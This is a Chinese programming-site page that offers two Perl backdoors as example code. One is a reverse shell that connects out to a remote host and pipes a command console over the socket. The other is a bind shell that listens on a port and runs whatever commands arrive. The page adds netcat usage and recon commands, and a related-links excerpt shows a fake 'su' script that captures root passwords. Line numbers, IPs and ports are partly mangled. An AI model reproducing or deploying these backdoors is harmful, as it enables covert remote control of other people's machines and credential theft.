位置: 编程技术 - 正文

perl后门,正向和反向!实例代码

编辑:rootadmin
反向连接代码: 1. #!/usr/bin/perl 2. #usage: 3. #nc -vv -l -p PORT(default ) on your local system first,then 4. #Perl $0 Remote IP(default .0.0.1) Remote_port(default ) 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 6. #nc -vv -l -p 7. #perl backdoor.pl .0.0.1 8. 9. #use strict; . use Socket; . use IO::Socket; . use Cwd; . use IO::Handle; . my $remote = $ARGV[0]|| ".0.0.1"; . my $remote_port = $ARGV[1]|| ; . my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); . my $path = cwd(); . $ARGC = @ARGV; . if ($ARGV[0]!~/-/) . { . socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; . STDOUT->autoflush(1); . SOCKET->autoflush(1); . $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; . open STDIN,">&SOCKET"; . open STDOUT,">&SOCKET"; . open STDERR,">&SOCKET"; . print "You are in $pathn"; . print "Welcome to use.n"; . print "console>n"; . . while (<STDIN>) { . chomp; . if( lc($_) eq 'exit' ) { . print " Bye Bye!"; . exit; . } . $msg=system($_); . if($msg){ . print STDOUT "n$msgn"; . print STDOUT "console>"; . }else . { . print "console>"; . } . } . close SOCKET; . exit; . } 正向连接代码: 1. #!/usr/bin/perl 2. #ActivePerl 5.8.8 Build 3. #usage: 4. #first:perl backdoor2c.pl 5. #second:nc -vv .0.0.1 6. #net user 7. #ipconfig /all 8. #netstat -anb 9. use IO::Socket; . $port = ""; . my $socket = new IO::Socket::INET ( 'Localhost'=>'.0.0.1' , . 'LocalPort'=>$port , . 'Listen'=>1 , . 'Proto'=>'tcp' , . 'Reuse'=>1 ); . die "Reason: $!" unless $socket; . while (my $new_socket = $socket->accept()) { . while (my $buffer=<$new_socket> ){ . if ($buffer=~/exit/) {exit;} . $res_msg=`$buffer`; . print $new_socket "$res_msgncmd>"; . }}

推荐整理分享perl后门,正向和反向!实例代码,希望有所帮助,仅作参考,欢迎阅读内容。

perl后门,正向和反向!实例代码

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

Perl模块编写说明 Perl的语法相对来说有点晦涩,主要是一些内置变量和函数处理得相当精巧,而过于精致的东西理解起来就有点费力。相对于Shell,Perl在很多方面更加强

用perl写的单位电脑信息采集程序 主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE

冒充su ,perl写的su.pl盗取root密码 我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"

标签: perl后门,正向和反向!实例代码

本文链接地址:https://www.jiuchutong.com/biancheng/372433.html 转载请保留说明!

上一篇:Shell编程的一些知识集合(shell编程技巧)

下一篇:Perl模块编写说明(perl编程)

  • 附加税有哪些?
  • 发票冲红重开,重开时是按新税率还是旧税率
  • 初级职称经济法基础重点
  • 外资研发中心认定标准
  • 保险公司代征的税收
  • 购进的库存商品转自用需要开发票吗
  • 境外公司委托境内公司付款
  • 政府补贴流程
  • 企业所得税申报表在哪里打印
  • 外贸企业出口采购流程
  • 计提的费用年底要冲回吗
  • 进口设备在海关处保存2年出售时 计算税怎么算
  • 创业就业带动补贴
  • 金融企业发放贷款时发生的交易费用
  • 企业销售产品的成本是指已销产品的
  • 出差报销单可以委托他人签字吗
  • 以前年度漏记一笔短期借款但本金利息支出记账了
  • 固定资产所取得的成本
  • 营改增对金融服务业税负的影响
  • 公司工会有税号吗
  • 房租的应收必须交吗
  • 培训费发票如何入账
  • 应纳税所得额怎么理解
  • 经营性租入的固定资产需要计提折旧吗
  • 哪些收入应计入成本
  • 建筑投资包括哪些
  • 汽车发票抵扣联需要盖章吗
  • 收到退回所得税怎么做帐
  • 苹果mac怎么复制文件到u盘 免费软件
  • 分配车间管理人员薪酬会计分录
  • 什么是进项税和销项税
  • mac教程视频
  • win11电脑硬盘分区
  • 购入固定资产的借款利息支出
  • 押金收不回的会计分录
  • 企业与政府所签的合同
  • 巨大的冰柱造句
  • 应收账款逾期的危险信号
  • 防伪码查一次还能查第二次吗
  • 委托加工业务要交税吗
  • html 提交表单
  • php页面跳转可以用header
  • 其他收益和其他收入的区别
  • 设备 融资租赁
  • 分公司财务核算独立不独立
  • 递延所得税什么时候交
  • 织梦会员系统
  • 小企业会计准则适用于哪些企业
  • 利息收入是一级科目还是
  • 外国企业常驻代表机构
  • 工会会员缴纳的医疗互助金列工会什么科目
  • 未计提坏账准备金额在哪个表
  • 咨询费发票能抵扣吗
  • 公司注销其他应付款法人借款
  • 工程施工借贷方向
  • 劳务派遣证验资
  • 11个点增值税发票是多少
  • 新会计准则2019待摊费用
  • sql server数据导入导出的特点
  • mysql好在哪里
  • windows桌面快捷方式怎么创建
  • windowns vista
  • VirtualBox虚拟机中文免费
  • linux chakan
  • win10老是提示
  • Win10 Mobile 10586.11已经在慢速通道推送 着离正式版更近了
  • 搭建android开发环境实验原理
  • html5+css3新特性
  • input submit、button和回车键提交数据详解
  • linux shell -s
  • 批处理清空文本内容
  • jquery.css
  • [置顶]bilinovel
  • mvp 框架
  • javascript面向对象精要pdf
  • js轮播图视频教程
  • JavaScript中的变量名不区分大小写
  • 江苏省发票真伪查询网站
  • 税务系统全面从严
  • 税务稽查机构
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设